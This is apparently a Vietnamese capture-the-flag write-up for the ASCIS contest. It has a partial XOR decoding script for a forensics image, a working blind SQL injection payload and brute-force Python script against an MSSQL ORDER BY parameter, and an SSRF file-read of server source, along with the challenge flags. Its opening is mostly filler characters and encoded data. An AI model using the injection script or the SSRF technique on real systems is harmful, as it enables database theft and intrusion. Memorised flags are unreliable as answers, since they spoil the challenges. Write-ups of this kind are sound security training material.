AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYyNI1T4SaJhgOhuN8EnTgdGzJgHmV2HtonxAJ0fvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABvXxAWTPgd4gjJPoIlc1TNcufOLmz/M0vATO3OR+Tg7Ov1a1fXaRIik4uhGvyndzRf883Uq0Mr9qyomZTcX1oWP/XdD7hEVuybrnJ0GZJa7fd3JlylvhKZWfQNJqcF9O9DIsfiC4NsKqvrnpKjBlkFW7XYqztXdlUcRB0yaVkbkMdmT/FySsnolT2zZKj9qzMHHk9S+/v0z2Sfluh42z0sIfzA1yeTYE9AMr/NLKyyfsXKmbXLZ7OsKpZ2+8Zk3EbFnA0PwQJrmSfUBscvnQKkWrH1xAubeqd3mfE9JX34TeaEPlSuLeX8sLpvKjfH4THqDz/8RH4D06IkWH9OfAMo+1ErPPK13H8KWcF8FBSGyRKvTk/E2568UwJIwF+XNSpyT2lJIqPIat8gh9VOexdp8jpnPUfXJwqmtcbxYTmUQ021Sw/jNljgC4VQQvXkOK7srBhM1U/dYeQgOy0XjLvztUZtphdlnpMgegoD5wXNOz/9AVZ7xeBh4UhklnpD+TmMXWvyCuyrTOiZccDM6CSEgaPyyVL/azyNbZEd1KOyahMOVBNbGK4UrOUrqp1owGsYtr98v44JZvyQ9MNKLnd+SvZXN3pY3Ge3Aw+DLbe1QsHb6Z+cRhWVihr/EB74qNpoIkWF8Y1Vo+m63aHawvwyXmweB5Z9feMXQlfFMAcGNKt8vBCIol+v30Nuoy6QgoqBpXxrzrbTOfMC+BQTYy8MY+jQ1gzLWe3b6IJXlEHIjSuOI4KcsgLRRJBtZ5hST5oAJipPJNYfINpPMIosO+TpFbgTdTcZd+DLEYs/BITVD8QKbH+sRA3OsApbxB1It9+ZDRM5UOqU28V8fFGVH9CDLQOFtytMFTCp7+idNTUZqNkziU0PfYUul64lEpUw/HDjChQG2ehKnw9OlVDklt1IOEIpl4XiL6j0ovHgZcnyaJG/Vi9pESUc0I0XRhLPrUuM7VOkDLP1jAJqX9Lk7wvK//DCAnJjBxyGW5z6uSjc86aV12vaWizHgbvyaC+lEP6IHGb5nbp58vmREypxgaid/hKdsVSIe5Xbu1fX8g7YvOgBAsc62C/OVvDcYDIKMJ/bj6eGSyanr363FLfHaXOSqzNVtoJI5GGcItB5WLka19SNifX3I3CB2LLh34t7WBcFZhwnNlChuVhGvvFoLaW2kwaGmjOA9HuPxn3S3Dzoj8KKf24rBqchlVDxed/UD8TMzjCBlFvPVWBPOKzPf9ilCYZnNn/dyGd/bD6kgbv1Y8WNIFwJ6BuR3TLTQGV52+rCyZuY/L3w5GL3oAKuYJZ2h0b0+Zk372PUn0siKcGdIn+GQiIVPYXXmfxxFZCvwUXeWPuPaJjpfzjgQBCoc5dW6GheBb1p0JDwUTZAqTS0CpXCtrv002soL5FnXhLzuehFEsP7m2/jFK31eRb9AKWiIUMkdTBamhLrKkTliADN02EBsRmGrp+gj+9uEzhLvgmE5YBeeK9Qsc0O/tmWghMBTGGOnthRQn18jc6yfmXzWFBR31tzf/QClnBq+V3J2J4uv5481VZpza6CIL3/X9vO8ULf+j4h7HDU7S...")
r = ''
for i in range(len(a)):
r += chr(ord(a[i]) ^ ord(b[i % len(b)]))
open('flag.png', 'wb').write(r)
Kết quả thu được 1 cái hình như này
Sau khi giải ra bài này, mình đã căng mắt ra để submit flag nhưng mà vẫn bị sai, đội mình quyết định hỏi BTC thì sau đó BTC đã sửa lại flag trên web ctfd.
Flag: ASCIS{H1!_1_4m_p0w3r_Gh057}
Web
script kiddie - 100pts
Như mô tả ta có thể biết rằng web có chứa lỗ hổng SQL-injection với cơ sở dữ liệu được dùng ở đây là MSSQL.
Câu query như sau: ` SELECT * FROM … ORDER BY $sort ASC
Giá trị của biến
$sort ta có thể control thông qua param
?sort=
Payload:
(case when (ascii(substring(db_name(),{index},1))={ord(c)}) then 1 else 1/db_name() end )`
import requests
from string import printable
url = 'http://167.172.85.253/web100/'
r = requests.Session()
db = ''
index = len(db) + 1
while True:
for c in printable:
#print("testing for " + c)
payload = f'(case when (ascii(substring(db_name(),{index},1))={ord(c)}) then 1 else 1/db_name() end)'
resp = r.get(url + '?sort=' + payload)
if "Error" not in resp.text:
db += c
index += 1
print(f"Length: {len(db)} - DB_NAME: {db}")
break
Flag:
ASICS{ssalchtiwesmihcueymorf}
OProxy - 400pts
Challege là một trang web có chức năng cho người dùng nhập vào một url và server trả về nội dung của trang web đó.
Dự đoán đây có thể tác giả ra thử thách ssrf. Fuzz các payload ssrf thì thấy được:
Để ý server respose header Werkzeug/1.01 Python/3.10.0, có thể dự đoán được back-end có thể là flask, và có thể challenge được dựng trên docker, thử nhập url: file://127.0.0.1/app/main.py thì có được mã nguồn:
Tới đây thì thử đọc file flag:
Flag:
ASCIS{SSRF_M3mcached_inj3cti0n}
isolate - 475 pts
fixingg…